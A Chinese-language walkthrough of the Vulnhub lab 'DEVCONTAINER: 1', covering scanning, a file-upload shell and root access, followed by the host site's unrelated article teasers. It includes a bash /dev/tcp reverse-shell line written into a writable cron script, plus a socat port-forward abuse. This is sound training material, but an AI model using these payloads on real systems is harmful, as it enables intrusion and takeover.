Vulnhub:DEVCONTAINER: 1

目录

信息收集

arp

nmap

nikto

whatweb

WEB

信息收集

dirmap

文件上传

提权

系统信息收集

横向提权

信息泄露

get root


信息收集

arp
┌──(root㉿ru)-[~/kali/vulnhub]
└─# arp-scan -l               
Interface: eth0, type: EN10MB, MAC: 00:50:56:2f:dd:99, IPv4: 192.168.211.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.211.1  00:50:56:c0:00:08  VMware, Inc.
192.168.211.2  00:50:56:e6:61:4b  VMware, Inc.
192.168.211.135  00:50:56:21:cf:ed  VMware, Inc.
192.168.211.254  00:50:56:f0:b5:b8  VMware, Inc.4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.495 seconds (102.61 hosts/sec). 4 responded

nmap
端口扫描┌──(root㉿ru)-[~/kali/vulnhub]
└─# nmap -p- 192.168.211.135 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 13:59 CST
Nmap scan report for 192.168.211.135
Host is up (0.0036s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:50:56:21:CF:ED (VMware)Nmap done: 1 IP address (1 host up) scanned in 8.05 seconds
版本服务探测┌──(root㉿ru)-[~/kali/vulnhub]
└─# nmap -sC -sV -O -p 80 192.168.211.135 --min-rate 10000             
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 14:00 CST
Nmap scan report for 192.168.211.135
Host is up (0.00049s latency).PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Freelancer - Start Bootstrap Theme
MAC Address: 00:50:56:21:CF:ED (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hopOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.22 seconds

nikto
┌──(root㉿ru)-[~/kali/vulnhub]
└─# nikto -h http://192.168.211.135/
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.211.135
+ Target Hostname:    192.168.211.135
+ Target Port:        80
+ Start Time:         2024-04-08 15:47:27 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Server may leak inodes via ETags, header found with file /, inode: 6a7f, size: 5af24a0184072, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2024-04-08 15:47:53 (GMT8) (26 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

whatweb
┌──(root㉿ru)-[~/kali/vulnhub]
└─# whatweb -v http://192.168.211.135/            
WhatWeb report for http://192.168.211.135/
Status    : 200 OK
Title     : Freelancer - Start Bootstrap Theme
IP        : 192.168.211.135
Country   : RESERVED, ZZSummary   : Apache[2.4.38], Bootstrap, HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], JQuery, Script, X-UA-Compatible[IE=edge]Detected Plugins:
[ Apache ]The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows NT. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services in sync with the current HTTP standards. Version      : 2.4.38 (from HTTP Server Header)Google Dorks: (3)Website     : http://httpd.apache.org/[ Bootstrap ]Bootstrap is an open source toolkit for developing with HTML, CSS, and JS. Website     : https://getbootstrap.com/[ HTML5 ]HTML version 5, detected by the doctype declaration [ HTTPServer ]HTTP server header string. This plugin also attempts to identify the operating system from the server header. OS           : Debian LinuxString       : Apache/2.4.38 (Debian) (from server string)[ JQuery ]A fast, concise, JavaScript that simplifies how to traverse HTML documents, handle events, perform animations, and add AJAX. Website     : http://jquery.com/[ Script ]This plugin detects instances of script HTML elements and returns the script language/type. [ X-UA-Compatible ]This plugin retrieves the X-UA-Compatible value from the HTTP header and meta http-equiv tag. - More Info: http://msdn.microsoft.com/en-us/library/cc817574.aspx String       : IE=edgeHTTP Headers:HTTP/1.1 200 OKDate: Mon, 08 Apr 2024 07:33:10 GMTServer: Apache/2.4.38 (Debian)Last-Modified: Sat, 12 Sep 2020 21:38:43 GMTETag: "6a7f-5af24a0184072-gzip"Accept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 3377Connection: closeContent-Type: text/html

WEB

信息收集


dirmap
┌──(root㉿ru)-[~/tools/dirscan/dirmap]
└─# python3 dirmap.py -i http://192.168.211.135/ -lcf                       #####  # #####  #    #   ##   ######    # # #    # ##  ##  #  #  #    ##    # # #    # # ## # #    # #    ##    # # #####  #    # ###### ######    # # #   #  #    # #    # ######  # #    # #    # #    # #   v1.0[*] Initialize targets...
[+] Load targets from: http://192.168.211.135/
[+] Set the number of thread: 30
[+] Coroutine mode
[+] Current target: http://192.168.211.135/                                                                    
[*] Launching auto check 404
[+] Checking with: http://192.168.211.135/ccjimqtouvulxwpfqmepgsutmqaakqkggbqjpmlnko
[*] Use recursive scan: No                                                                                     
[*] Use dict mode
[+] Load dict:/root/tools/dirscan/dirmap/data/dict_mode_dict.txt
[*] Use crawl mode
[200][text/html][3.30kb] http://192.168.211.135/index.html                                                     
[200][text/markdown][278.00b] http://192.168.211.135/readme.md                                                 
[200][text/html][588.00b] http://192.168.211.135/upload/                                                       
[200][text/html; charset=UTF-8][500.00b] http://192.168.211.135/upload/upload.php                              
[200][text/html][3.30kb] http://192.168.211.135/                                                               
[200][application/javascript][906.00b] http://192.168.211.135/js/contact_me.js                                 
[200][image/png][18.79kb] http://192.168.211.135/img/portfolio/safe.png                                        
[200][image/png][10.04kb] http://192.168.211.135/img/profile.png                                               
[200][text/css][4.92kb] http://192.168.211.135/font-awesome/css/font-awesome.min.css                           
[200][application/javascript][32.45kb] http://192.168.211.135/js/jquery.js                                     
[200][image/png][23.76kb] http://192.168.211.135/img/portfolio/submarine.png                                   
[200][application/javascript][680.00b] http://192.168.211.135/js/classie.js                                    
[200][image/png][27.33kb] http://192.168.211.135/img/portfolio/circus.png                                      
[200][text/css][1.82kb] http://192.168.211.135/css/freelancer.css                                              
[200][image/png][16.67kb] http://192.168.211.135/img/portfolio/cake.png                                        
[200][image/png][25.29kb] http://192.168.211.135/img/portfolio/game.png                                        
[200][application/javascript][622.00b] http://192.168.211.135/js/freelancer.js                                 
[200][text/css][18.91kb] http://192.168.211.135/css/bootstrap.min.css                                          
[200][image/png][35.66kb] http://192.168.211.135/img/portfolio/cabin.png                                       
[200][application/javascript][9.19kb] http://192.168.211.135/js/bootstrap.min.js                               99% (6600 of 6618) |################################################### | Elapsed Time: 0:00:13 ETA:   0:00:00


看来就是文件上传了!

文件上传

虽然上传成功了,但是不知道上传到哪了!我们再次进行目录检索!
┌──(root㉿ru)-[~/kali/vulnhub]
└─# wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -u http://192.168.211.135/upload/FUZZ -t 100 --hc 404,403 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************Target: http://192.168.211.135/upload/FUZZ
Total requests: 17770=====================================================================
ID           Response   Lines    Word       Chars       Payload                                        
=====================================================================000000055:   301        9 L      28 W       325 Ch      "files"                                        
000003809:   200        31 L     85 W       903 Ch      "http://192.168.211.135/upload/"   
经过fuzz,发现files路径!

┌──(root?ru)-[~/kali/vulnhub]
└─# nc -lvvp 1234                   
listening on [any] 1234 ...
192.168.211.135: inverse host lookup failed: Unknown host
connect to [192.168.211.128] from (UNKNOWN) [192.168.211.135] 60876
Linux 32064e9210cb 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux08:09:12 up 22 min,  0 users,  load average: 0.01, 0.87, 0.85
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

提权

系统信息收集
$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/bin/mount
/bin/umount
/bin/su
$ ls -al /var/www/html
total 88
drwxr-xr-x 11 root root  4096 Sep 12  2020 .
drwxr-xr-x  1 root root  4096 Sep 10  2020 ..
drwxrwxrwx  2 root 1000  4096 Apr  8  2024 Maintenance-Web-Docker
drwxr-xr-x  2 root root  4096 Sep 12  2020 css
drwxr-xr-x  6 root root  4096 Sep 12  2020 font-awesome
drwxr-xr-x  2 root root  4096 Sep 12  2020 fonts
drwxr-xr-x  3 root root  4096 Sep 12  2020 img
-rw-r--r--  1 root root 27263 Sep 12  2020 index.html
drwxr-xr-x  2 root root  4096 Sep 12  2020 js
drwxr-xr-x  2 root root  4096 Sep 12  2020 less
-rw-r--r--  1 root root 11336 Sep 12  2020 license
drwxr-xr-x  2 root root  4096 Sep 12  2020 mail
-rw-r--r--  1 root root   278 Sep 12  2020 readme.md
drwxr-xr-x  3 root root  4096 Sep 12  2020 upload
$ ls -al
total 24
drwxrwxrwx  2 root 1000 4096 Apr  8  2024 .
drwxr-xr-x 11 root root 4096 Sep 12  2020 ..
-rwxrwxrwx  1 root root  164 Sep 13  2020 list.sh
-rwxr-xr-x  1 root root  204 Sep 12  2020 maintenance.sh
-rw-r--r--  1 1000 1000 5066 Apr  8 08:42 out.txt
$ cat list.sh
#!/bin/bash
date >> /home/richard/web/Maintenance-Web-Docker/out.txt
ls /home/richard/web/upload/files/ | wc -l >> /home/richard/web/Maintenance-Web-Docker/out.txt
$ date
Mon Apr  8 08:43:20 UTC 2024这些命令的作用是将当前日期追加到文件 /home/richard/web/Maintenance-Web-Docker/out.txt 中,然后统计目录 /home/richard/web/upload/files/ 中文件的数量,并将数量追加到同一文件中。list.sh是可读可写可执行的!我们利用一下!

横向提权
echo "/bin/bash -c 'bash -i>& /dev/tcp/192.168.211.128/7878 0>&1'" > list.sh


richard@EC2:~$ ls
ls
HackTools
user.txt
web
richard@EC2:~$ cat user.txt
cat user.txt
3a6b99f59ea363803bcafc7f5dd9b1e8
richard@EC2:~$ 
richard@EC2:~/HackTools$ sudo -l
sudo -l
Matching Defaults entries for richard on EC2:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser richard may run the following commands on EC2:(ALL) NOPASSWD: /home/richard/HackTools/socat TCP-LISTEN\:8080\,forkTCP\:127.0.0.1\:90
richard@EC2:~/HackTools$ 
/home/richard/HackTools/socat TCP-LISTEN\:8080\,fork TCP\:127.0.0.1\:90
我们使用sudo运行!

果然开放了新的端口!

信息泄露

经过测试,存在信息泄露漏洞!这个服务是以root权限运行的,我们可以执行我们之前上传的payload即可拿到root权限的shell!上传路径 /home/richard/web/uplaod/files/shell.php

get root
┌──(root?ru)-[~/tools/dirscan/dirmap]
└─# nc -lvvp 2345           
listening on [any] 2345 ...
192.168.211.135: inverse host lookup failed: Unknown host
connect to [192.168.211.128] from (UNKNOWN) [192.168.211.135] 42992
Linux EC2 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux05:06:55 up 32 min,  0 users,  load average: 6.43, 6.14, 4.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=0(root) gid=0(root) groups=0(root)
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
proof.txt
# cat proof.txt_    _      _ _       _                  _ 
| |  | |    | | |     | |                | |
| |  | | ___| | |   __| | ___  _ __   ___| |
| |/\| |/ _ \ | |  / _` |/ _ \| '_ \ / _ \ |
\  /\  /  __/ | | | (_| | (_) | | | |  __/_|\/  \/ \___|_|_|  \__,_|\___/|_| |_|\___(_)07f61ca07bc617f9639b412423b2cc6f
Twitter: @0x04E1
# 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/801048.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

YUM仓库和编译安装

目录 一.YUM仓库搭建 1.简介: 2.搭建思路: 3.实验:单机yum的创建 二.编译安装 1.简介 2.安装过程 3.实验:编译安装nginx 一.YUM仓库搭建 1.简介: yum是一个基于RPM包(是Red-Hat Package Manager红…

超级agent的端语言模型Octopus v2: On-device language model for super agent

大型语言模型(LLMs)在函数调用方面展现出卓越的应用潜力,特别是针对Android API的定制应用。与那些需要详尽描述潜在函数参数、有时甚至涉及数万个输入标记的检索增强生成(RAG)方法相比,Octopus-V2-2B在训练…

fastlio2 保存每帧的点云和每帧的里程计为单独的文件做后端回环优化和手动回环优化

为了 提供数据做后端回环优化和手动回环优化,需要保存每帧的点云和每帧的里程计为单独的文件,并且需要保存的名字为ros时间戳。 效果很好,比我自己写的手动回环模块好用 // This is an advanced implementation of the algorithm described in the // following paper: /…

ZLMediaKit ubantu 下编译

1、获取代码 #国内用户推荐从同步镜像网站gitee下载 git clone --depth 1 https://gitee.com/xia-chu/ZLMediaKit cd ZLMediaKit #千万不要忘记执行这句命令 git submodule update --init二、依赖库 Debian系(包括ubuntu)系统下安装依赖的方法: #除了…

如何修改电脑用户名user后的名字

更改电脑用户名(C:\Users\用户名) 直接上步骤 1.WinR打开运行窗口,输入regedit,打开注册表,CtrlF搜索,找到ProfileList,这里会出现几个S-1-5开头的文件。 这里有一处注意的: 图片中的这个位置要…

2024.4.8-day12-CSS 常用样式属性和字体图标

个人主页:学习前端的小z 个人专栏:HTML5和CSS3悦读 本专栏旨在分享记录每日学习的前端知识和学习笔记的归纳总结,欢迎大家在评论区交流讨论! 文章目录 作业2024.4.8-学习笔记盒子阴影文本阴影透明的vertical-align字体使用 作业 &…

2024年网络安全趋势前瞻:从AI攻击到云安全新挑战

随着2024年开展新的序幕,网络安全领域正面临着前所未有的挑战与机遇,一系列引人注目的趋势和预测逐渐浮出水面。 一、AI技术发展引发的安全问题 近年来,我们见证了AI技术的飞速进步,其中ChatGPT等引领潮流的AI服务成为公众瞩目的…

STL优先队列比较器

有两个比较器&#xff0c;在std里面&#xff0c;一个是greater&#xff0c;一个是less&#xff0c;他们都有一个可以指定的模板类型。 #include <bits/stdc.h> using namespace std; struct node {bool operator ()(const string& a, const string& b){return a…

Linux——计算机进程基础知识

计算机基础知识 1.计算机组成五大部件: (1) 运算器 &#xff1a;也叫算数逻辑单元&#xff0c;完成对数据的各种常规运算&#xff0c;如加减乘除&#xff0c;也包括逻辑运算&#xff0c;移位&#xff0c;比较等。 (2) 控制器 &#xff1a; 它是整个计算机系统的控制中心&…

【三维重建工具】NeRFStudio、3D GaussianSplatting、Colmap安装与使用指南(更新中)

目录 一、NeRFStudio安装1.安装&#xff08;ubuntu系统&#xff09;2.安装&#xff08;windows系统&#xff09; 二、安装tinycudann三、Colmap安装与使用1. 安装依赖2. 安装colmap3.使用colmap3.1 可视化界面使用3.2 Nerfstudio命令行调用Colmap 四、使用NeRFStudio进行三维重…

行云防水堡-打造企业数据安全新防线

企业数据安全&#xff0c;顾名思义就是通过各种手段或者技术或者工具保障企业数据的安全性&#xff1b;保障数据信息的硬件、软件及数据受到保护&#xff0c;不受偶然的或者恶意的原因而遭到破坏、更改、泄露&#xff0c;系统连续可靠正常地运行&#xff0c;信息服务不中断。目…

西圣、漫步者、万魔开放式耳机怎么样?无广真实测评对比推荐

开放式耳机因其独特的音质体验和佩戴舒适度&#xff0c;受到了越来越多消费者的青睐。西圣、漫步者、万魔作为国内知名的耳机品牌&#xff0c;各自都推出了自家的开放式耳机产品&#xff0c;那么&#xff0c;这三款耳机究竟如何呢&#xff1f;身为开放式耳机党的我&#xff0c;…

Datacom HCIP笔记-MPLS协议 之一

MPLS标签放在二层头和IP头之间可以称之为2.5层的位置 LSP&#xff08;Label Switched Path&#xff09;&#xff1a;标签交换路径&#xff0c;艮即到达同一目的地址的报文在MPLS网络中经过的路径。 FEC&#xff08;Forwarding Equivalent Class&#xff09;&#xff1a;一般指具…

编辑脚本 shell中的符号

shell中的符号 ~&#xff1a;家目录 !&#xff1a;执行历史命令 $&#xff1a;取变量内容 - * / %:数学运算符 &&#xff1a;后台执行 *&#xff1a;通配符 ?&#xff1a;匹配除回车以外的一个字符 ;&#xff1a;命令分隔符 |&#xff1a;管道符&#xff0c;该符号的上一…

【科研】SCI同行评审-审稿指南与意见撰写

【科研】SCI同行评审-审稿指南与意见撰写 文章目录 1、审稿指南 By Elsevier2、审稿指南 By Nature3、审稿意见撰写 1、审稿指南 By Elsevier Elsevier审稿人注意事项 Elsevier如何进行同行评审 how-to-review 完整的研究文章 检查手稿中解决的研究问题的重要性&#xff08;例…

uniapp:Hbuilder没有检测到设备请插入设备或启动模拟器的问题解决

问题 使用模拟器调试运行项目时&#xff0c;出现以下提示&#xff0c;“没有检测到设备&#xff0c;请插入设备或启动模拟器后点击刷新再试”。排查了一天最终找到原因。 解决 已确认模拟器是已经正常启动&#xff0c;并且Hbuilder设置中的adb路径和端口都配置没有问题&#…

一文搞懂从爬楼梯到最小花费(力扣70,746)

文章目录 题目前知动态规划简介动态规划模版 爬楼梯一、思路二、解题方法三、Code 使用最小花费爬楼梯一、思路二、解题方法三、Code 总结 在计算机科学中&#xff0c;动态规划是一种强大的算法范例&#xff0c;用于解决多种优化问题。本文将介绍动态规划的核心思想&#xff0c…

主从复制、数据持久化 、Redis主从集群、哨兵机制 、Redis分片集群

数据持久化 Redis、主从集群、哨兵机制 Redis分片集群 1、单点 redis 的问题2、主从复制2.1 命令传播 3、Redis的持久化3.1 AOF3.2 RDB&#xff08;默认方式&#xff09;RDB 方式&#xff1a;执行快照时&#xff0c;数据能被修改吗&#xff1f;RDB 方式总结 3.3 RDB 和 AOF 组合…

电路基础-电容-电感

电路基础 电容 通交流阻直流&#xff0c;滤波&#xff0c;旁路&#xff0c;退耦&#xff0c;作驱动电源&#xff08;洗衣机电机启动时需要一个强电启动&#xff09; 电容选型的工程值&#xff1b;参考以往开发板的选型&#xff1b;抄作业。 电源并连多个电容的作用 保证单…

30万奖金谁能瓜分?OurBMC开源大赛决赛入围名单公示

首届开放原子开源大赛基础软件赛道自今年 1 月开启报名以来&#xff0c;吸引了全国各地 BMC 技术爱好者的广泛关注和踊跃报名。该赛事由开放原子开源基金会牵头&#xff0c; OurBMC 社区及理事长单位飞腾信息技术有限公司联合承办&#xff0c;以 “基于 BMC 技术的服务器故障诊…